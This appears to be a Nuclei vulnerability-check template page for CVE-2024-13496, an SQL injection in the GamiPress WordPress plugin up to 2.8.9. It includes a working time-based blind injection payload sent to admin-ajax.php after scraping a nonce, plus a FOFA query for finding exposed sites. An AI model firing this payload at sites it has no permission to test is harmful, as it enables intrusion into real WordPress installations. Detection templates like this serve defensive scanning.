GamiPress <= 2.8.9 - SQL Injection

ID: CVE-2024-13496

Severity: high

Author: ritikchaddha

Tags: cve,cve2024,wp,wordpress,gamipress,sqli,wp-plugin

Description

GamiPress WordPress plugin version 2.8.9 and below suffers from an SQL injection vulnerability due to insufficient sanitization of user input, allowing attackers to execute arbitrary SQL commands.

YAML Source

id: CVE-2024-13496

info:
  name: GamiPress <= 2.8.9 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    GamiPress WordPress plugin version 2.8.9 and below suffers from an SQL injection vulnerability due to insufficient sanitization of user input, allowing attackers to execute arbitrary SQL commands.
  reference:
    - https://abrahack.com/posts/gamipress-sqli/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13496
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-13496
    cwe-id: CWE-89
  metadata:
    max-requests: 2
    fofa-query: body="/wp-content/plugins/gamipress"
  tags: cve,cve2024,wp,wordpress,gamipress,sqli,wp-plugin

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=WebKitFormBoundaryPzS34wz7rAyyJYSi

        ------WebKitFormBoundaryPzS34wz7rAyyJYSi
        Content-Disposition: form-data; name="action"

        gamipress_get_logs
        ------WebKitFormBoundaryPzS34wz7rAyyJYSi
        Content-Disposition: form-data; name="nonce"

        {{nonce}}
        ------WebKitFormBoundaryPzS34wz7rAyyJYSi
        Content-Disposition: form-data; name="orderby"

        (SELECT/**/sleep(8)/**/FROM/**/dual/**/WHERE/**/1/**/LIKE/**/1)#
        ------WebKitFormBoundaryPzS34wz7rAyyJYSi--

    matchers:
      - type: dsl
        dsl:
          - 'duration>= 8'
          - 'status == 200'
          - 'contains(headers, "application/json")'
          - 'contains(body, "success\":true")'
        condition: and

    extractors:
      - type: regex
        part: body
        name: nonce
        group: 1
        regex:
          - '"nonce":"([0-9a-z]+)"'
        internal: true
# digest: 4a0a00473045022100b1a7870c9e399c6c0ba2d0c5647f3c611dadf83d8410056f2a4f10659ca05f760220517ec53df2cf2cb20186b906e1771215960cc11a54aad30f5479f966150929fb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-13496.yaml"

View on Github